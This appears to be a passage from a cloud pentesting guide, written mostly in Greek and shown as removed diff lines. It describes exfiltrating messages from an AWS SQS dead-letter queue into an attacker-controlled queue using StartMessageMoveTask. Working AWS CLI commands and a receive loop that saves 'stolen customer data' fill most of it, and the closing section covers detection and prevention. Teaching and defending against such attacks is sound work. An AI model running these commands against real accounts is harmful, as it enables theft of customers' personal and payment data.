-1) **Discover and examine the victim DLQ**
-```bash
-# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
-aws sqs list-queues --queue-name-prefix dlq
-
-# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
-VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
-SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
-
-# Check how many messages are in the DLQ (potential treasure trove!)
-aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
---attribute-names ApproximateNumberOfMessages
-# Output might show: "ApproximateNumberOfMessages": "1847"
-```
-2) **Δημιουργία ουράς προορισμού ελεγχόμενης από attacker**
-```bash
-# Create our exfiltration queue
-ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
-ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
-
-echo "Created exfiltration queue: $ATTACKER_Q_ARN"
-```
-3) **Εκτέλεση μαζικής κλοπής μηνυμάτων**
-```bash
-# Start moving ALL messages from victim DLQ to our queue
-# This operation will transfer thousands of failed orders containing customer data
-echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
-TASK_RESPONSE=$(aws sqs start-message-move-task \
---source-arn "$SRC_ARN" \
---destination-arn "$ATTACKER_Q_ARN" \
---max-number-of-messages-per-second 100)
-
-echo "Move task started: $TASK_RESPONSE"
-
-# Monitor the theft progress
-aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
-```
-4) **Συλλέξτε τα κλεμμένα ευαίσθητα δεδομένα**
-```bash
-# Receive the exfiltrated customer data
-echo "Receiving stolen customer data..."
-aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
---attribute-names All --message-attribute-names All \
---max-number-of-messages 10 --wait-time-seconds 5
-
-# Example of what an attacker might see:
-# {
-#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
-#   "MessageId": "12345-abcd-6789-efgh"
-# }
-
-# Continue receiving all messages in batches
-while true; do
-MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
---max-number-of-messages 10 --wait-time-seconds 2 --output json)
-
-if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
-echo "No more messages - exfiltration complete!"
-break
-fi
-
-echo "Received batch of stolen data..."
-# Process/save the stolen customer data
-echo "$MESSAGES" >> stolen_customer_data.json
-done
-```
-### Σημειώσεις δια-λογαριασμού
-- Η προοριζόμενη ουρά πρέπει να έχει resource policy που επιτρέπει στον principal του θύματος να εκτελεί `sqs:SendMessage` (και, αν χρησιμοποιείται, KMS grants/permissions).
-
-## Γιατί αυτή η επίθεση είναι αποτελεσματική
-
-1. **Νόμιμη λειτουργία AWS**: Χρησιμοποιεί ενσωματωμένη λειτουργικότητα του AWS, καθιστώντας δύσκολη την ανίχνευσή της ως κακόβουλη
-2. **Μαζική λειτουργία**: Μεταφέρει χιλιάδες μηνύματα γρήγορα αντί για αργή μεμονωμένη πρόσβαση
-3. **Ιστορικά δεδομένα**: Οι DLQs συσσωρεύουν ευαίσθητα δεδομένα σε βάθος εβδομάδων/μηνών
-4. **Υπό το ραντάρ**: Πολλές οργανώσεις δεν παρακολουθούν στενά την πρόσβαση σε DLQs
-5. **Δυνατότητα cross-account**: Μπορεί να exfiltrate στο AWS account του επιτιθέμενου αν τα δικαιώματα το επιτρέπουν
-
-## Ανίχνευση και Πρόληψη
-
-### Ανίχνευση
-Παρακολουθήστε το CloudTrail για ύποπτες κλήσεις API `StartMessageMoveTask`:
-```json
-{
-"eventName": "StartMessageMoveTask",
-"sourceIPAddress": "suspicious-ip",
-"userIdentity": {
-"type": "IAMUser",
-"userName": "compromised-user"
-},
-"requestParameters": {
-"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
-"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
-}
-}
-```
-### Πρόληψη
-1. **Ελάχιστα δικαιώματα**: Περιορίστε τα δικαιώματα `sqs:StartMessageMoveTask` μόνο στους αναγκαίους ρόλους
-2. **Παρακολούθηση DLQs**: Ρυθμίστε ειδοποιήσεις CloudWatch για ασυνήθη δραστηριότητα σε DLQs
-3. **Πολιτικές διασταυρούμενων λογαριασμών**: Ελέγξτε προσεκτικά τις SQS queue policies που επιτρέπουν πρόσβαση μεταξύ λογαριασμών
-4. **Κρυπτογραφήστε DLQs**: Χρησιμοποιήστε SSE-KMS με περιορισμένες πολιτικές κλειδιών
-5. **Τακτικός καθαρισμός**: Μην αφήνετε ευαίσθητα δεδομένα να συσσωρεύονται σε DLQs επ' αόριστον
-
-{{#include ../../../banners/hacktricks-training.md}}